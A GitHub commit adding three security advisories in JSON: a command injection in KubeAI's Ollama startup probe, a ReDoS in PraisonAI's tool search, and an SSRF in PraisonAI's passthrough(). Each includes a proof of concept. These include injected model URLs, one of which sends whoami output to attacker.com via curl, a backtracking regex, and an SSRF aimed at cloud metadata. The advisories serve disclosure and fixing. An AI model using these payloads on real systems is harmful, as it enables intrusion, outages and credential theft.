Skip to content

Commit 8e5558a

Browse files
1 parent d5a7d7d commit 8e5558a

3 files changed

Lines changed: 180 additions & 0 deletions

File tree

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-324q-cwx9-7crr",
4+
"modified": "2026-04-01T23:22:43Z",
5+
"published": "2026-04-01T23:22:43Z",
6+
"aliases": [
7+
"CVE-2026-34940"
8+
],
9+
"summary": "KubeAI: OS Command Injection via Model URL in Ollama Engine startup probe allows arbitrary command execution in model pods",
10+
"details": "## CHAMP: Description\n\n### Summary\n\nThe `ollamaStartupProbeScript()` function in `internal/modelcontroller/engine_ollama.go` constructs a shell command string using `fmt.Sprintf` with unsanitized model URL components (`ref`, `modelParam`). This shell command is executed via `bash -c` as a Kubernetes startup probe. An attacker who can create or update `Model` custom resources can inject arbitrary shell commands that execute inside model server pods.\n\n### Details\n\nThe `parseModelURL()` function in `internal/modelcontroller/model_source.go` uses a regex (`^([a-z0-9]+):\\/\\/([^?]+)(\\?.*)?$`) to parse model URLs. The `ref` component (capture group 2) matches `[^?]+`, allowing any characters except `?`, including shell metacharacters like `;`, `|`, `$()`, and backticks.\n\nThe `?model=` query parameter (`modelParam`) is also extracted without any sanitization.\n\n**Vulnerable code** ([permalink](https://github.com/kubeai-project/kubeai/blob/ba1824e8c1d70c9092b6c0a48199bba3b8973fee/internal/modelcontroller/engine_ollama.go#L185-L196)):\n\n```go\nfunc ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {\n startupScript := \"\"\n if u.scheme == \"pvc\" {\n startupScript = fmt.Sprintf(\"/bin/ollama cp %s %s\", u.modelParam, m.Name)\n } else {\n if u.pull {\n pullCmd := \"/bin/ollama pull\"\n if u.insecure {\n pullCmd += \" --insecure\"\n }\n startupScript = fmt.Sprintf(\"%s %s && /bin/ollama cp %s %s\", pullCmd, u.ref, u.ref, m.Name)\n } else {\n startupScript = fmt.Sprintf(\"/bin/ollama cp %s %s\", u.ref, m.Name)\n }\n }\n // ...\n return startupScript\n}\n```\n\nThis script is then used as a `bash -c` startup probe ([permalink](https://github.com/kubeai-project/kubeai/blob/ba1824e8c1d70c9092b6c0a48199bba3b8973fee/internal/modelcontroller/engine_ollama.go#L108-L112)):\n\n```go\nStartupProbe: &corev1.Probe{\n ProbeHandler: corev1.ProbeHandler{\n Exec: &corev1.ExecAction{\n Command: []string{\"bash\", \"-c\", startupProbeScript},\n },\n },\n},\n```\n\n**Compare with the vLLM engine** which safely passes the model ref as a command-line argument (not through a shell):\n\n```go\n// engine_vllm.go - safe: args are passed directly, no shell involved\nargs := []string{\n \"--model=\" + vllmModelFlag,\n \"--served-model-name=\" + m.Name,\n}\n```\n\n**URL parsing** ([permalink](https://github.com/kubeai-project/kubeai/blob/ba1824e8c1d70c9092b6c0a48199bba3b8973fee/internal/modelcontroller/model_source.go#L229-L270)):\n\n```go\nvar modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\\/\\/([^?]+)(\\?.*)?$`)\n\nfunc parseModelURL(urlStr string) (modelURL, error) {\n // ref = matches[2] -> [^?]+ allows shell metacharacters\n // modelParam from ?model= query param -> completely unsanitized\n}\n```\n\nThere is no admission webhook or CRD validation that sanitizes the URL field.\n\n### PoC\n\n**Attack vector 1: Command injection via `ollama://` URL ref**\n\n```yaml\napiVersion: kubeai.org/v1\nkind: Model\nmetadata:\n name: poc-cmd-inject\nspec:\n features: [\"TextGeneration\"]\n engine: OLlama\n url: \"ollama://registry.example.com/model;id>/tmp/pwned;echo\"\n minReplicas: 1\n maxReplicas: 1\n```\n\nThe startup probe script becomes:\n```bash\n/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi\n```\n\nThe injected `id>/tmp/pwned` command executes inside the pod.\n\n**Attack vector 2: Command injection via `?model=` query parameter**\n\n```yaml\napiVersion: kubeai.org/v1\nkind: Model\nmetadata:\n name: poc-cmd-inject-pvc\nspec:\n features: [\"TextGeneration\"]\n engine: OLlama\n url: \"pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo\"\n minReplicas: 1\n maxReplicas: 1\n```\n\nThe startup probe script becomes:\n```bash\n/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi\n```\n\n### Impact\n\n1. **Arbitrary command execution** inside model server pods by any user with Model CRD create/update RBAC\n2. In multi-tenant Kubernetes clusters, a tenant with Model creation permissions (but not cluster-admin) can execute arbitrary commands in model pods, potentially accessing secrets, service account tokens, or lateral-moving to other cluster resources\n3. Data exfiltration from the model pod's environment (environment variables, mounted secrets, service account tokens)\n4. Compromise of the model serving infrastructure\n\n### Suggested Fix\n\nReplace the `bash -c` startup probe with either:\n1. An exec probe that passes arguments as separate array elements (like the vLLM engine does), or\n2. Validate/sanitize `u.ref` and `u.modelParam` to only allow alphanumeric characters, slashes, colons, dots, and hyphens before interpolating into the shell command\n\nExample fix:\n```go\n// Option 1: Use separate args instead of bash -c\nCommand: []string{\"/bin/ollama\", \"pull\", u.ref}\n\n// Option 2: Sanitize inputs\nvar safeModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)\nif !safeModelRef.MatchString(u.ref) {\n return \"\", fmt.Errorf(\"invalid model reference: %s\", u.ref)\n}\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/kubeai-project/kubeai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.23.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.23.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/kubeai-project/kubeai/security/advisories/GHSA-324q-cwx9-7crr"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/kubeai-project/kubeai"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-78"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:22:43Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8w9j-hc3g-3g7f",
4+
"modified": "2026-04-01T23:21:08Z",
5+
"published": "2026-04-01T23:21:08Z",
6+
"aliases": [
7+
"CVE-2026-34939"
8+
],
9+
"summary": "PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()",
10+
"details": "### Summary\n\n`MCPToolIndex.search_tools()` compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the `re` engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.\n\n### Details\n\n`tool_index.py:365` (source) -> `tool_index.py:368` (sink)\n```python\n# source -- query taken directly from caller, no validation\ndef search_tools(self, query: str) -> List[ToolInfo]:\n import re\n\n# sink -- compiled and applied with no timeout or exception handling\n pattern = re.compile(query, re.IGNORECASE)\n for tool in self.get_all_tools():\n if pattern.search(tool.name) or pattern.search(tool.hint):\n matches.append(tool)\n```\n\n### PoC\n```python\n# tested on: praisonai==1.5.87 (source install)\n# install: pip install -e src/praisonai\nimport sys, time, json\nsys.path.insert(0, 'src/praisonai')\nfrom pathlib import Path\n\nmcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'\nmcp_dir.mkdir(parents=True, exist_ok=True)\n(mcp_dir / '_index.json').write_text(json.dumps([\n {\"name\": \"a\" * 30 + \"!\", \"hint\": \"a\" * 30 + \"!\", \"server\": \"test_server\"}\n]))\n(mcp_dir / '_status.json').write_text(json.dumps({\n \"server\": \"test_server\", \"available\": True, \"auth_required\": False,\n \"last_sync\": time.time(), \"tool_count\": 1, \"error\": None\n}))\n\nfrom praisonai.mcp_server.tool_index import MCPToolIndex\nindex = MCPToolIndex()\n\nstart = time.monotonic()\nresults = index.search_tools(\"(a+)+$\")\nprint(f\"Returned in {time.monotonic() - start:.1f}s\")\n# expected output: Returned in 376.0s\n```\n\n### Impact\n\nA single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.90"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.5.89"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-1333"
54+
],
55+
"severity": "MODERATE",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:21:08Z",
58+
"nvd_published_at": null
59+
}
60+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-x6m9-gxvr-7jpv",
4+
"modified": "2026-04-01T23:21:45Z",
5+
"published": "2026-04-01T23:21:45Z",
6+
"aliases": [
7+
"CVE-2026-34936"
8+
],
9+
"summary": "PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback",
10+
"details": "### Summary\n\n`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.\n\n### Details\n\n`passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink)\n```python\n# source -- api_base taken directly from caller\ndef passthrough(endpoint, api_base=None, method=\"GET\", ...):\n\n# fallback trigger -- AttributeError from unrecognised provider enters fallback\nexcept AttributeError:\n url = f\"{api_base or 'https://api.openai.com'}{endpoint}\"\n\n# sink -- no validation before request\n response = client.request(method, url=url, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai 1.5.87 (source install)\n# install: pip install -e src/praisonai\n# start listener: python3 -m http.server 8888\nimport sys, litellm\nsys.path.insert(0, 'src/praisonai')\ndel litellm.llm_passthrough_route\n\nfrom praisonai.capabilities.passthrough import passthrough\n\nresult = passthrough(\n endpoint=\"/ssrf-test\",\n api_base=\"http://127.0.0.1:8888\",\n method=\"GET\",\n custom_llm_provider=\"__nonexistent__\",\n)\nprint(result)\n# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: api_base=\"http://169.254.169.254\" returns IAM credentials\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "praisonai"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.5.90"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.5.89"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/MervinPraison/PraisonAI"
49+
}
50+
],
51+
"database_specific": {
52+
"cwe_ids": [
53+
"CWE-918"
54+
],
55+
"severity": "HIGH",
56+
"github_reviewed": true,
57+
"github_reviewed_at": "2026-04-01T23:21:45Z",
58+
"nvd_published_at": null
59+
}
60+
}

0 commit comments

Comments
 (0)